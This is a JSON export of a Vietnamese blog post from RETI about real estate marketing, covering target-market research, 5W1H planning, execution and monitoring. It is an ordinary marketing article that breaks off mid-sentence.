{"id":38278,"date":"2023-06-09T09:36:13","date_gmt":"2023-06-09T02:36:13","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=38278"},"modified":"2025-10-22T04:18:05","modified_gmt":"2025-10-21T21:18:05","slug":"ky-nang-marketing-bat-dong-san-thuc-day-ban-hang","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/","title":{"rendered":"5 k\u1ef9 n\u0103ng marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u2013 Th\u00fac \u0111\u1ea9y doanh s\u1ed1 b\u00e1n h\u00e0ng"},"content":{"rendered":"<p><em>Chi\u1ebfn l\u01b0\u1ee3c trong\u00a0marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0l\u00e0 g\u00ec? V\u00e0 nh\u1eefng k\u00eanh marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n n\u00e0o \u0111em l\u1ea1i hi\u1ec7u qu\u1ea3 cho doanh nghi\u1ec7p trong qu\u00e1 tr\u00ecnh th\u1ef1c hi\u1ec7n? T\u1ea5t c\u1ea3 nh\u1eefng th\u1eafc m\u1eafc tr\u00ean s\u1ebd \u0111\u01b0\u1ee3c RETI gi\u1ea3i \u0111\u00e1p trong b\u00e0i vi\u1ebft sau \u0111\u00e2y. <\/em><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed3aa9197a7\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed3aa9197a7\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Marketing_bat_dong_san_la_gi\" >Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 g\u00ec?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Nghien_cuu_va_xac_dinh_thi_truong_khach_hang_muc_tieu\" >Nghi\u00ean c\u1ee9u v\u00e0 x\u00e1c \u0111\u1ecbnh th\u1ecb tr\u01b0\u1eddng, kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Lap_ke_hoach_Marketing_bat_dong_san\" >L\u1eadp k\u1ebf ho\u1ea1ch Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Trien_khai_tung_buoc_trong_ke_hoach\" >Tri\u1ec3n khai t\u1eebng b\u01b0\u1edbc trong k\u1ebf ho\u1ea1ch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Theo_doi_do_luong_va_cai_thien\" >Theo d\u00f5i, \u0111o l\u01b0\u1eddng v\u00e0 c\u1ea3i thi\u1ec7n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/ky-nang-marketing-bat-dong-san-thuc-day-ban-hang\/#Bat_mi_y_tuong_marketing_bat_dong_san_dot_pha\" >B\u1eadt m\u00ed \u00fd t\u01b0\u1edfng marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ed9t ph\u00e1<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Marketing_bat_dong_san_la_gi\"><\/span><strong>Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 g\u00ec?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0\u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn l\u00e0 m\u1ed9t lo\u1ea1i h\u00ecnh marketing \u0111\u01b0\u1ee3c d\u00f9ng trong\u00a0l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n<p>Th\u00f4ng qua marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n, ng\u01b0\u1eddi cung c\u1ea5p d\u1ecbch v\u1ee5, s\u1ea3n ph\u1ea9m s\u1ebd \u0111\u01b0a ra nh\u1eefng chi\u1ebfn l\u01b0\u1ee3c c\u1ee5 th\u1ec3 nh\u1eb1m th\u1ecfa m\u00e3n mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau l\u1ee3i nhu\u1eadn \u0111\u00e3 \u0111\u1ec1 ra.<\/p>\n<p>V\u1eady l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 t\u0103ng hi\u1ec7u qu\u1ea3 c\u1ee7a chi\u1ebfn l\u01b0\u1ee3c kinh doanh b\u1ea5t \u0111\u1ed9ng s\u1ea3n cho doanh nghi\u1ec7p? \u0110\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c k\u1ebft qu\u1ea3 t\u1ed1t, doanh nghi\u1ec7p c\u1ea7n n\u1eafm r\u00f5 c\u00e1c\u00a0chi\u1ebfn l\u01b0\u1ee3c kinh doanh b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0m\u00e0 RETI chia s\u1ebb sau \u0111\u00e2y:<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38308 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1.jpg\" alt=\"\" width=\"2500\" height=\"1312\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1.jpg 2500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-300x157.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-1024x537.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-768x403.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-1536x806.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-2048x1075.jpg 2048w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-150x79.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-696x365.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-1068x560.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1-1920x1008.jpg 1920w\" data-sizes=\"(max-width: 2500px) 100vw, 2500px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 2500px; --smush-placeholder-aspect-ratio: 2500\/1312;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Nghien_cuu_va_xac_dinh_thi_truong_khach_hang_muc_tieu\"><\/span><strong>Nghi\u00ean c\u1ee9u v\u00e0 x\u00e1c \u0111\u1ecbnh th\u1ecb tr\u01b0\u1eddng, kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Vi\u1ec7c nghi\u00ean c\u1ee9u v\u00e0 x\u00e1c \u0111\u1ecbnh th\u1ecb tr\u01b0\u1eddng,\u00a0kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau\u00a0\u0111\u01b0\u1ee3c cho l\u00e0 \u01b0u ti\u00ean h\u00e0ng \u0111\u1ea7u m\u00e0 b\u1ea1n c\u1ea7n th\u1ef1c hi\u1ec7n \u0111\u1ec3 t\u0103ng doanh s\u1ed1 b\u00e1n h\u00e0ng cho d\u1ef1 \u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a m\u00ecnh.<\/p>\n<p>Nh\u00e0 m\u00f4i gi\u1edbi v\u00e0 doanh nghi\u1ec7p b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ea7n t\u1eadp trung v\u00e0o th\u1ecb tr\u01b0\u1eddng m\u1ee5c ti\u00eau ph\u00f9 h\u1ee3p v\u1edbi d\u1ef1 \u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a m\u00ecnh nh\u1eb1m \u0111em l\u1ea1i k\u1ebft qu\u1ea3 kinh doanh t\u1ed1t nh\u1ea5t.<\/p>\n<p>\u0110\u00e2y c\u0169ng l\u00e0 c\u00e1ch gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng h\u01a1n trong vi\u1ec7c v\u1ea1ch ra c\u00e1c \u00fd t\u01b0\u1edfng v\u1ec1 nh\u1eefng c\u00f4ng vi\u1ec7c m\u00e0 m\u00ecnh c\u1ea7n th\u1ef1c hi\u1ec7n \u0111\u1ec3 ti\u1ebfp c\u1eadn \u0111\u01b0\u1ee3c kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau.<\/p>\n<p>Ngo\u00e0i ra, c\u1ea7n c\u00f3 nh\u1eefng k\u1ebf ho\u1ea1ch \u0111\u1ed1i ph\u00f3 r\u1ee7i ro v\u1ec1 th\u1ecb tr\u01b0\u1eddng, \u0111\u1eb7c bi\u1ec7t l\u00e0 \u0111\u01b0a ra nh\u1eefng ph\u01b0\u01a1ng \u00e1n ph\u00f9 h\u1ee3p v\u1edbi nh\u1eefng\u00a0\u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh\u00a0\u0111ang d\u1eabn \u0111\u1ea7u trong ng\u1eafn h\u1ea1n v\u00e0 d\u00e0i h\u1ea1n.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38282 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4.jpg\" alt=\"\" width=\"750\" height=\"421\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4.jpg 750w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4-300x168.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4-150x84.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-4-696x391.jpg 696w\" data-sizes=\"(max-width: 750px) 100vw, 750px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 750px; --smush-placeholder-aspect-ratio: 750\/421;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Lap_ke_hoach_Marketing_bat_dong_san\"><\/span><strong>L\u1eadp k\u1ebf ho\u1ea1ch Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0110\u1ec3 x\u00e2y d\u1ef1ng \u0111\u01b0\u1ee3c m\u1ed9t k\u1ebf ho\u1ea1ch marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n hi\u1ec7u qu\u1ea3, quy tr\u00ecnh 5W1H s\u1ebd l\u00e0 m\u1ed9t trong nh\u1eefng ph\u01b0\u01a1ng ph\u00e1p d\u1ec5 hi\u1ec3u v\u00e0 ch\u00ednh x\u00e1c nh\u1ea5t. C\u00f9ng RETI t\u00ecm hi\u1ec3u chi ti\u1ebft h\u01a1n v\u1ec1 ph\u01b0\u01a1ng ph\u00e1p n\u00e0y th\u00f4ng qua b\u00e0i vi\u1ebft sau \u0111\u00e2y:<\/p>\n<p>X\u00e1c \u0111\u1ecbnh 5W1H nh\u01b0 th\u1ebf n\u00e0o?<\/p>\n<p>WHAT: \u0110\u1eb7c \u0111i\u1ec3m s\u1ea3n ph\u1ea9m v\u00e0 gi\u00e1 tr\u1ecb c\u1ee7a \u0111\u1eb7c \u0111i\u1ec3m<\/p>\n<p>+ Ch\u1ee7 \u0111\u1ea7u t\u01b0<\/p>\n<p>+ V\u1ecb tr\u00ed<\/p>\n<p>+ Thi\u1ebft k\u1ebf<\/p>\n<p>+ Ti\u1ec7n \u00edch<\/p>\n<p>+ Kh\u1ea3 n\u0103ng sinh l\u1eddi<\/p>\n<p>+ Ch\u00ednh s\u00e1ch \u01b0u \u0111\u00e3i\u2026vv<\/p>\n<p>WHO: Kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng c\u1ee7a b\u1ea1n l\u00e0 ai?<\/p>\n<p>+ Ai l\u00e0 ng\u01b0\u1eddi mua? Ai l\u00e0 ng\u01b0\u1eddi s\u1eed d\u1ee5ng? Ai l\u00e0 ng\u01b0\u1eddi \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn ng\u01b0\u1eddi quy\u1ebft \u0111\u1ecbnh mua h\u00e0ng?<\/p>\n<p>+ Ai l\u00e0 ng\u01b0\u1eddi ph\u00e2n ph\u1ed1i, ai l\u00e0 end user?<\/p>\n<p>+ Lo\u1ea1i h\u00ecnh s\u1ea3n ph\u1ea9m l\u00e0 g\u00ec? C\u0103n h\u1ed9, li\u1ec1n k\u1ec1, bi\u1ec7t th\u1ef1, shophouse, condotel, BTB, \u0111\u1ea5t n\u1ec1n\u2026<\/p>\n<p>+ Ph\u00e2n kh\u00fac s\u1ea3n ph\u1ea9m: Cao c\u1ea5p, trung c\u1ea5p hay th\u1ea5p c\u1ea5p? (ph\u00e2n kh\u00fac s\u1ea3n ph\u1ea9m s\u1ebd quy\u1ebft \u0111\u1ecbnh gi\u00e1 b\u00e1n, k\u00eanh ph\u00e2n ph\u1ed1i v\u00e0 k\u00eanh truy\u1ec1n th\u00f4ng ph\u00f9 h\u1ee3p)<\/p>\n<p>WHERE: Kh\u00e1ch h\u00e0ng \u1edf \u0111\u00e2u?<\/p>\n<p>+ Kh\u00e1ch h\u00e0ng s\u1ebd mua h\u00e0ng ch\u1ee7 \u0111\u1ed9ng hay b\u1ecb \u0111\u1ed9ng?<\/p>\n<p>+ Nh\u1eefng \u0111\u1ecba \u0111i\u1ec3m n\u00e0o kh\u00e1ch h\u00e0ng t\u1eadp trung \u0111\u00f4ng nh\u1ea5t?<\/p>\n<p>+ Khu v\u1ef1c n\u00e0o ph\u00f9 h\u1ee3p v\u1edbi s\u1ea3n ph\u1ea9m v\u00e0 m\u1ee9c gi\u00e1 c\u1ee7a b\u1ea1n?<\/p>\n<p>+ Nh\u1eefng k\u00eanh ph\u00e2n ph\u1ed1i n\u00e0o s\u1ebd l\u00e0 n\u01a1i ch\u00ednh \u0111\u1ec3 kh\u00e1ch mua h\u00e0ng?<\/p>\n<p>+ Nh\u1eefng k\u00eanh truy\u1ec1n th\u00f4ng n\u00e0o d\u1ec5 ti\u1ebfp c\u1eadn nh\u1ea5t theo ch\u1ee7 \u0111\u1ed9ng (Google\/Youtube) hay b\u1ecb \u0111\u1ed9ng (Facebook\/Zalo\/ GDN\/Forum\/\/ Mass media\/OOH\/Printed\u2026.)?<\/p>\n<p>+ Customer Journey (H\u00e0nh vi mua h\u00e0ng) \u0111i nh\u01b0 n\u00e0o? AIDA hay AISAS ?<\/p>\n<p>WHEN: Th\u1eddi \u0111i\u1ec3m truy\u1ec1n th\u00f4ng?<\/p>\n<p>+ Rumor?<\/p>\n<p>+ Tr\u01b0\u1edbc m\u1edf b\u00e1n?<\/p>\n<p>+ Trong v\u00e0 sau m\u1edf b\u00e1n?<\/p>\n<p>+ B\u00e1n theo giai \u0111o\u1ea1n?<\/p>\n<p>+ Clear h\u00e0ng t\u1ed3n?<\/p>\n<p>WHY: Nh\u1eefng v\u1ea5n \u0111\u1ec1 g\u00ec m\u00e0 kh\u00e1ch h\u00e0ng quan t\u00e2m?<\/p>\n<p>+ V\u1ea5n \u0111\u1ec1 l\u00fd t\u00ednh s\u1ea3n ph\u1ea9m: Hi\u1ec7u qu\u1ea3 h\u01a1n; c\u00f3 kh\u1ea3 n\u0103ng l\u00e0m t\u1ed1t m\u1ed9t t\u00ednh n\u0103ng g\u00ec \u0111\u00f3; gi\u00fap ti\u1ebft ki\u1ec7m th\u1eddi gian hay c\u00f4ng s\u1ee9c ho\u1eb7c chi ph\u00ed; d\u1ec5 s\u1edf h\u1eefu, d\u1ec5 mua, ch\u00ednh s\u00e1ch thanh to\u00e1n t\u1ed1t, d\u1ec5 thanh kho\u1ea3n; l\u00e0m kh\u00e1ch tho\u1ea3i m\u00e1i thu\u1eadn ti\u1ec7n h\u01a1n; ch\u1eafc ch\u1eafn, ch\u1ea5t l\u01b0\u1ee3ng h\u01a1n, \u0111\u1eb3ng c\u1ea5p h\u01a1n; \u0111\u01b0\u1ee3c gi\u1ea3m gi\u00e1 khuy\u1ebfn m\u00e3i, t\u1eb7ng qu\u00e0.<\/p>\n<p>+ V\u1ea5n \u0111\u1ec1 v\u1ec1 gi\u00e1 tr\u1ecb c\u1ea3m t\u00ednh :<\/p>\n<p>Gi\u00e1 tr\u1ecb c\u1ea5p b\u00e1ch, th\u1eddi v\u1ee5, th\u1eddi ti\u1ebft, ng\u1eef c\u1ea3nh x\u00e3 h\u1ed9i, c\u1ea3m x\u00fac tr\u1ea1ng th\u00e1i, t\u00f2 m\u00f2 d\u00f9ng th\u1eed =&gt; Gi\u1ea3i quy\u1ebft nhu c\u1ea7u c\u1ea5p b\u00e1ch.<\/p>\n<p>Gi\u00e1 tr\u1ecb ni\u1ec1m tin: Th\u01b0\u01a1ng hi\u1ec7u uy t\u00edn, l\u00e0m t\u1ed1t nh\u1eadn di\u1ec7n v\u00e0 \u0111\u1ecbnh v\u1ecb kh\u00e1c bi\u1ec7t, ni\u1ec1m tin v\u1ec1 ch\u1ea5t l\u01b0\u1ee3ng s\u1ea3n ph\u1ea9m, v\u1ec1 \u0111\u00f2n b\u1ea9y do kh\u00e1ch h\u00e0ng c\u0169 v\u00e0 c\u00e1c lo\u1ea1i \u0111\u00f2n b\u1ea9y kh\u00e1c.<\/p>\n<p>Gi\u00e1 tr\u1ecb c\u1ea3m t\u00ednh phe ph\u00e1i, b\u1ea7y \u0111\u00e0n: D\u1ef1a tr\u00ean ph\u00e2n kh\u00fac kh\u00e1ch h\u00e0ng ho\u1eb7c v\u0103n h\u00f3a v\u00f9ng mi\u1ec1n\u2026.<\/p>\n<p>Gi\u00e1 tr\u1ecb c\u1ea3m t\u00ednh gi\u1ea3i quy\u1ebft lo l\u1eafng, s\u1ef1 m\u1ea5t m\u00e1t, \u0111e d\u1ecda v\u00e0 s\u1ea3n ph\u1ea9m s\u1ebd \u0111\u00e1p \u1ee9ng \u0111\u01b0\u1ee3c.<\/p>\n<p>Gi\u00e1 tr\u1ecb c\u1ea3m t\u00ednh t\u01b0\u01a1ng lai, l\u1ee3i \u00edch t\u01b0\u01a1ng lai \u2013 chi ph\u00ed c\u01a1 h\u1ed9i, t\u0103ng gi\u00e1, v\u1eadn h\u00e0nh, gi\u00e1 tr\u1ecb k\u1ebf th\u1eeba.<\/p>\n<p>Gi\u00e1 tr\u1ecb c\u1ea3m t\u00ednh c\u00e1i t\u00f4i, s\u1ef1 t\u00f4n tr\u1ecdng,\u00a0 tri\u1ebft l\u00fd s\u1ed1ng: Th\u1ec3 hi\u1ec7n \u0111\u1eb3ng c\u1ea5p b\u1ea3n th\u00e2n v\u00e0 s\u1ef1 t\u00f4n tr\u1ecdng, t\u1ef1 h\u00e0o.<\/p>\n<p>+ Nh\u1eefng v\u1ea5n \u0111\u1ec1 lo ng\u1ea1i v\u00e0 c\u1ea3n tr\u1edf kh\u00e1ch h\u00e0ng mua h\u00e0ng: C\u1ea7n li\u1ec7t k\u00ea t\u1ea5t c\u1ea3 v\u1ea5n \u0111\u1ec1 c\u1ee7a th\u01b0\u01a1ng hi\u1ec7u \u0111\u1ec3 truy\u1ec1n th\u00f4ng x\u1eed l\u00fd c\u00e1c v\u1ea5n \u0111\u1ec1 v\u01b0\u1edbng m\u1eafc<\/p>\n<p>+ X\u00e1c \u0111\u1ecbnh key message (th\u00f4ng \u0111i\u1ec7p c\u1ed1t l\u00f5i) \u2013 S\u1ef1 kh\u00e1c bi\u1ec7t t\u1eeb What v\u00e0 Why l\u00e0m sao \u0111\u1ec3 n\u00f3 l\u00e0 USP (Unique Selling Point) ho\u1eb7c \u00edt nh\u1ea5t ph\u1ea3i d\u1ec5 ph\u00e2n bi\u1ec7t v\u1edbi \u0111\u1ed1i th\u1ee7. key message c\u1ea7n l\u00e0 th\u00f4ng \u0111i\u1ec7p kh\u00e1ch h\u00e0ng y\u00eau th\u00edch n\u00f3 v\u00e0 s\u1eb5n s\u00e0ng tr\u1ea3 ti\u1ec1n h\u01a1n.<\/p>\n<p>+ X\u00e1c \u0111\u1ecbnh key visual: H\u00ecnh \u1ea3nh th\u01b0\u01a1ng hi\u1ec7u c\u1ea7n kh\u00e1c bi\u1ec7t\/ ph\u00e2n bi\u1ec7t v\u1edbi \u0111\u1ed1i th\u1ee7 \u0111\u1ec3 kh\u00e1ch h\u00e0ng d\u1ec5 nh\u1eadn ra, d\u1ec5 nh\u1edb v\u00e0 t\u1ea1o ra ni\u1ec1m tin th\u01b0\u01a1ng hi\u1ec7u \u2013 M\u1ed9t gi\u00e1 tr\u1ecb r\u1ea5t quan tr\u1ecdng.<\/p>\n<p>HOW: \u00dd t\u01b0\u1edfng b\u00e1n h\u00e0ng v\u00e0 \u00fd t\u01b0\u1edfng truy\u1ec1n th\u00f4ng<\/p>\n<p>+ T\u1eeb key Message v\u00e0 key visual s\u1ebd ra chi\u1ebfn l\u01b0\u1ee3c th\u01b0\u01a1ng hi\u1ec7u \u2013 \u00dd t\u01b0\u1edfng truy\u1ec1n th\u00f4ng<\/p>\n<p>+ T\u1eeb c\u00e1c gi\u00e1 tr\u1ecb What + Why s\u1ebd ra \u00fd t\u01b0\u1edfng cho chi\u1ebfn l\u01b0\u1ee3c b\u00e1n h\u00e0ng.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3.png\" rel=\"lightbox-2\"><img decoding=\"async\" class=\"aligncenter size-large wp-image-38281 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-1024x685.png\" alt=\"\" width=\"696\" height=\"466\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-1024x685.png 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-300x201.png 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-768x514.png 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-150x100.png 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-696x466.png 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3-1068x715.png 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-3.png 1300w\" data-sizes=\"(max-width: 696px) 100vw, 696px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 696px; --smush-placeholder-aspect-ratio: 696\/466;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Trien_khai_tung_buoc_trong_ke_hoach\"><\/span><strong>Tri\u1ec3n khai t\u1eebng b\u01b0\u1edbc trong k\u1ebf ho\u1ea1ch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Sau khi \u0111\u00e3 ho\u00e0n th\u00e0nh xong b\u1ea3n k\u1ebf ho\u1ea1ch marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n. B\u01b0\u1edbc ti\u1ebfp theo trong\u00a0chi\u1ebfn l\u01b0\u1ee3c marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0l\u00e0 tri\u1ec3n khai t\u1eebng b\u01b0\u1edbc theo k\u1ebf ho\u1ea1ch \u0111\u00e3 \u0111\u01b0a ra.<\/p>\n<p>Trong qu\u00e1 tr\u00ecnh tri\u1ec3n khai k\u1ebf ho\u1ea1ch, b\u1ea1n c\u1ea7n quan s\u00e1t s\u1ef1 chuy\u1ec3n \u0111\u1ed9ng c\u1ee7a th\u1ecb tr\u01b0\u1eddng, k\u1ebft qu\u1ea3 kinh doanh c\u1ee7a t\u1eebng k\u00eanh truy\u1ec1n th\u00f4ng v\u00e0 nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng. \u00a0T\u1eeb \u0111\u00f3 b\u1ea1n s\u1ebd c\u00f3 th\u1ec3 thay \u0111\u1ed5i nh\u1eefng \u0111i\u1ec3m ch\u01b0a t\u1ed1t c\u1ee7a k\u1ebf ho\u1ea1ch nhanh ch\u00f3ng nh\u1ea5t.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Theo_doi_do_luong_va_cai_thien\"><\/span><strong>Theo d\u00f5i, \u0111o l\u01b0\u1eddng v\u00e0 c\u1ea3i thi\u1ec7n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>C\u00f4ng vi\u1ec7c cu\u1ed1i c\u00f9ng trong chi\u1ebfn l\u01b0\u1ee3c marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 b\u1ea1n c\u1ea7n theo d\u00f5i, quan s\u00e1t v\u00e0\u00a0\u0111o l\u01b0\u1eddng hi\u1ec7u qu\u1ea3\u00a0c\u1ee7a chi\u1ebfn l\u01b0\u1ee3c.<\/p>\n<p>Vi\u1ec7c quan s\u00e1t v\u00e0 theo d\u00f5i s\u1ebd gi\u00fap cho b\u1ea1n d\u1ec5 d\u00e0ng \u0111\u01b0a ra nh\u1eefng \u0111i\u1ec1u ch\u1ec9nh k\u1ecbp th\u1eddi v\u00e0 linh 